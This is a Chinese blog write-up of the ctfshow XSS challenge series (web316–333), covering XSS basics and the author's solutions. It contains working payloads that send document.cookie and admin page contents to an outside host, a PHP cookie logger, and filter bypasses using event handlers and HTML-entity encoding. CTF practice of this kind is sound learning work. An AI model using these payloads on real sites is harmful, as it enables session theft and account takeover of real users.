ctfshow XSS专题


因为我不太会xss,所以写的可能不是很顺畅,也会罗嗦一点,师傅们轻喷

XSS预备知识

0x00 什么是xss?

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。
引自ctfwiki

0x01 xss危害

  • 通过 document.cookie 盗取 cookie中的信息
  • 使用 js或 css破坏页面正常的结构与样式
  • 流量劫持(通过访问某段具有 window.location.href 定位到其他页面)
  • dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。
  • 利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可以利用 iframe,frame进一步的进行 CSRF 攻击。
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力。

    例子:2011年6月28日,新浪微博被XSS攻击,大量用户自动转发微博、私信。自动关注用户,大量用户被莫名其妙地控制。因为可以使用JS代码代替用户单击按钮发送请求,所以损坏非常大。
    以上内容来源:https://www.cnblogs.com/54chensongxia/p/11643787.html

0x02 xss三种分类

就不搬运了,直接看 https://ctf-wiki.github.io/ctf-wiki/web/xss-zh/

web316

   document.cookie 获取饼干的js代码\

推荐xss平台:http://xsscom.com/https://xss.pt/

payload:</textarea>'"><script src=http://xsscom.com//GsVqfU></script>

后台bot自动点击,间隔10s,过了会刷新xss平台,可以看到已经接收到flag了,but,why?
访问平台给的urlhttp://xsscom.com//GsVqfU可以发现里面全是js代码,对于第一关来说太过臃肿,也看不懂,这里给一个简单点的js

<script>var img = document.createElement("img");//创建img标签
img.src = "http://your-domain/?cookie="+document.cookie;//设置img标签的src
</script>

在你的vps上进行监听2333端口nc -lvp 2333,nc的监听都是一次性的(如果可以持续请务必告诉我,我没查到呜呜呜),如果本次未收到flag那就再起一次nc。atao哥哥说bp里的client可以持续监听

在wiki上看到可以自动接收的脚本

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

这样就不需要一直nc辣,查看文件就好了

这段js代码干了什么?你为什么能得到管理员的饼干?
上面的pl中有document.cookie菜鸟教程中是这么解释的:JavaScript的 document.cookie 将以字符串的方式返回所有的cookie,类型格式: cookie1=value; cookie2=value; cookie3=value;

后台管理员访问了我们的‘祝福’链接会自动触发img标签里的src(此标签的src本意是要显示指定url的图片,但是我们传入了恶意代码,导致管理员饼干被打到vps上),帮我们得到cookie。

web317 | 318 | 319

http://www.jlyqing.com/xss/cookie.php?cookie=\
过滤了script,昨晚使用第一个平台一直不行,大家千万别死磕,换第二个就好了,使用iframe标签
尝试自己写payload失败了(菜的安详.jpg)下次一定

web320 | 321 | 323 | 324 | 325 | 326

多吃了空格(用\绕过)、xss,文件路径一定别有xss,我的一开始有搞了好久接收不到呜呜呜,最后还是问了群主,原来过滤了xss
平台的payload我去绕过没成功,打到vps上吧
<body/onload=document.location='http://your-domain/cookie.php?cookie='+document.cookie;>\

web322

322用上面的失败了,最后用了平台的<iframe/srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#46;&#112;&#116;&#47;&#99;&#76;&#103;&#70;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

小总结

看这几道题来说,反射性xss无非就是变换标签,结合各种编码去绕过,空格用\,关键字双写或者编码等等

web327

收件人:admin,内容随意,直接上xss平台就行

web328

不会玩,参考y4师傅的wp
vps写一个js

var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.cookie;
document.body.append(img);

接收还用刚才的,注册<script src="js地址"></script>,vps上看接收到的cookie,用这个cookie登陆,再看用户管理

web329

这把再用盗取的cookie就不行了,已经失效了,登不上去,用的y4师傅的js,读网页源码(骚)

var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.querySelector('#top > div.layui-container > div    :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;//问了师傅才知道这个标签是可以通过浏览器找到的,ttttqqqqll
document.body.append(img);

web330 | 331

读源码读了个寂寞,admin************,看看师傅的wp是改密码。。。我。。。直接读页面全部源码不就好了嘿嘿嘿

var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.querySelector('#top > div.layui-container').tex    tContent;
document.body.append(img);

web332

一开始想的给自己转钱,结果不对,第二天才是这样玩哈哈哈。
注册两个账号,给另一个转-9999999999999999,会增加自己账户的钱

web333

自己给自己转账,,,妙~,bp直接爆破转


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
 上一篇
纵横杯2020 web wp 纵横杯2020 web wp
WankkoRee师傅、Mr.水函师傅带飞我,这次比赛学到不少东西,先放个排名,膜拜师傅们第一次ak web,后援团的大师傅们的思路都很骚,多多学习,今天被引号闭合搞了两次,以后注意,phar的闭合与cms的闭合 easyci hel
2020-12-26
下一篇 
ctfshow 代码审计 ctfshow 代码审计
web301 web302 web303 & 304 web305 web306 web307 web308 web309 web310
  目录